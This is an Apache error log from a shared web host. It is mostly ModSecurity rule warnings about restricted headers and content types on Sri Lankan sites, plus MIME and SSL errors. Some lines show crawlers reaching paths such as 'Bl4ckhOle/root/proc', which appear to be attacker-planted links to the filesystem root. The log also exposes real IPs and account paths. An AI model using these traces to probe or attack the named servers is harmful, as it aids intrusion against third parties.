[Fri Jul 17 09:25:27.331455 2026] [security2:error] [pid 2039911:tid 2039911] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/desktop-computers/acer-desktops"] [unique_id "almnr5BVIrrUwtEhdafWWQAAAAU"]
[Fri Jul 17 09:25:27.331563 2026] [security2:error] [pid 2039911:tid 2039911] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/desktop-computers/acer-desktops"] [unique_id "almnr5BVIrrUwtEhdafWWQAAAAU"]
[Fri Jul 17 09:25:27.331954 2026] [security2:error] [pid 2039911:tid 2039911] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/desktop-computers/acer-desktops"] [unique_id "almnr5BVIrrUwtEhdafWWQAAAAU"]
[Fri Jul 17 09:25:27.681591 2026] [security2:error] [pid 2039911:tid 2039911] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almnr5BVIrrUwtEhdafWWQAAAAU"]
[Fri Jul 17 09:25:28.987027 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:28.995448 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:36630] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:25:29.068882 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:29.169475 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:29.171600 2026] [security2:error] [pid 2030804:tid 2030804] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/desktop-computers/dell-desktops"] [unique_id "almnsYe39YUk0SgV8AU_kQAAABE"]
[Fri Jul 17 09:25:29.171699 2026] [security2:error] [pid 2030804:tid 2030804] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/desktop-computers/dell-desktops"] [unique_id "almnsYe39YUk0SgV8AU_kQAAABE"]
[Fri Jul 17 09:25:29.172072 2026] [security2:error] [pid 2030804:tid 2030804] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/desktop-computers/dell-desktops"] [unique_id "almnsYe39YUk0SgV8AU_kQAAABE"]
[Fri Jul 17 09:25:29.371743 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:29.427630 2026] [security2:error] [pid 2030804:tid 2030804] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almnsYe39YUk0SgV8AU_kQAAABE"]
[Fri Jul 17 09:25:29.674839 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/ACPI0010:00/subsystem/drivers/ac/unbind
[Fri Jul 17 09:25:29.786281 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:30.004175 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:36670] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:25:30.127443 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:30.179555 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:30.194608 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:30.482188 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:30.684343 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:30.700317 2026] [security2:error] [pid 2036488:tid 2036488] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/desktop-computers/hp-desktops"] [unique_id "almnsrEKozcCJ-ReuK0IRwAAAAg"]
[Fri Jul 17 09:25:30.700407 2026] [security2:error] [pid 2036488:tid 2036488] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/desktop-computers/hp-desktops"] [unique_id "almnsrEKozcCJ-ReuK0IRwAAAAg"]
[Fri Jul 17 09:25:30.700752 2026] [security2:error] [pid 2036488:tid 2036488] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/desktop-computers/hp-desktops"] [unique_id "almnsrEKozcCJ-ReuK0IRwAAAAg"]
[Fri Jul 17 09:25:30.785732 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:30.963150 2026] [security2:error] [pid 2036488:tid 2036488] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almnsrEKozcCJ-ReuK0IRwAAAAg"]
[Fri Jul 17 09:25:31.089219 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:31.200879 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/en_640494a047ff9_scan127.pdf"] [unique_id "almns4-0g_VSPeIeFN3FrQAAAAs"]
[Fri Jul 17 09:25:31.201264 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/en_640494a047ff9_scan127.pdf"] [unique_id "almns4-0g_VSPeIeFN3FrQAAAAs"]
[Fri Jul 17 09:25:31.201663 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/en_640494a047ff9_scan127.pdf"] [unique_id "almns4-0g_VSPeIeFN3FrQAAAAs"]
[Fri Jul 17 09:25:31.409328 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:31.492777 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:31.592806 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:31.697773 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:31.736271 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:31.795702 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:31.998540 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/bus/usb/devices/usb1/remove
[Fri Jul 17 09:25:32.102034 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:32.199861 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:32.302155 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:32.402638 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:32.503375 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:43908] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:25:32.505205 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:32.605795 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:32.635434 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:43938] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:25:32.681774 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 57.141.18.105:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory13/subsystem/devices/memory60/subsystem/devices/memory68/node0/cpu3/crash_notes_size
[Fri Jul 17 09:25:32.809077 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:32.909488 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:33.030023 2026] [security2:error] [pid 2013797:tid 2013797] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/desktop-computers/lenovo-desktop-sri-lanka"] [unique_id "almntVh1WDijTxd1xw5RnwAAAAc"]
[Fri Jul 17 09:25:33.030137 2026] [security2:error] [pid 2013797:tid 2013797] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/desktop-computers/lenovo-desktop-sri-lanka"] [unique_id "almntVh1WDijTxd1xw5RnwAAAAc"]
[Fri Jul 17 09:25:33.030486 2026] [security2:error] [pid 2013797:tid 2013797] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/desktop-computers/lenovo-desktop-sri-lanka"] [unique_id "almntVh1WDijTxd1xw5RnwAAAAc"]
[Fri Jul 17 09:25:33.110780 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:33.211838 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:33.254097 2026] [ssl:error] [pid 2036488:tid 2036488] (70014)End of file found: [client 66.85.158.91:44000] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:25:33.313395 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:33.348588 2026] [security2:error] [pid 2013797:tid 2013797] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almntVh1WDijTxd1xw5RnwAAAAc"]
[Fri Jul 17 09:25:33.414103 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:33.515033 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:33.615650 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:33.841846 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:34.122175 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:34.626267 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:34.727154 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:34.928892 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:35.029181 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:35.273078 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:35.273827 2026] [security2:error] [pid 2013830:tid 2013830] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/monitors"] [unique_id "almntwRRrtuZqNDDSqW1QAAAABo"]
[Fri Jul 17 09:25:35.273913 2026] [security2:error] [pid 2013830:tid 2013830] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/monitors"] [unique_id "almntwRRrtuZqNDDSqW1QAAAABo"]
[Fri Jul 17 09:25:35.274284 2026] [security2:error] [pid 2013830:tid 2013830] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/monitors"] [unique_id "almntwRRrtuZqNDDSqW1QAAAABo"]
[Fri Jul 17 09:25:35.333534 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:35.434282 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:35.448711 2026] [security2:error] [pid 2013830:tid 2013830] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almntwRRrtuZqNDDSqW1QAAAABo"]
[Fri Jul 17 09:25:35.635756 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:35.736121 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/module/haltpoll/uevent
[Fri Jul 17 09:25:35.837435 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:36.039774 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:36.140466 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:36.342974 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:36.467998 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:36.545671 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:36.815844 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:36.819730 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:36.821916 2026] [security2:error] [pid 2013830:tid 2013830] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/monitors/acer-monitors"] [unique_id "almnuARRrtuZqNDDSqW1QgAAABo"]
[Fri Jul 17 09:25:36.822061 2026] [security2:error] [pid 2013830:tid 2013830] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/monitors/acer-monitors"] [unique_id "almnuARRrtuZqNDDSqW1QgAAABo"]
[Fri Jul 17 09:25:36.822527 2026] [security2:error] [pid 2013830:tid 2013830] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/monitors/acer-monitors"] [unique_id "almnuARRrtuZqNDDSqW1QgAAABo"]
[Fri Jul 17 09:25:36.895748 2026] [security2:error] [pid 2030774:tid 2030774] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almnuBHlOGcokz2QIwTYjwAAAAM"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpg
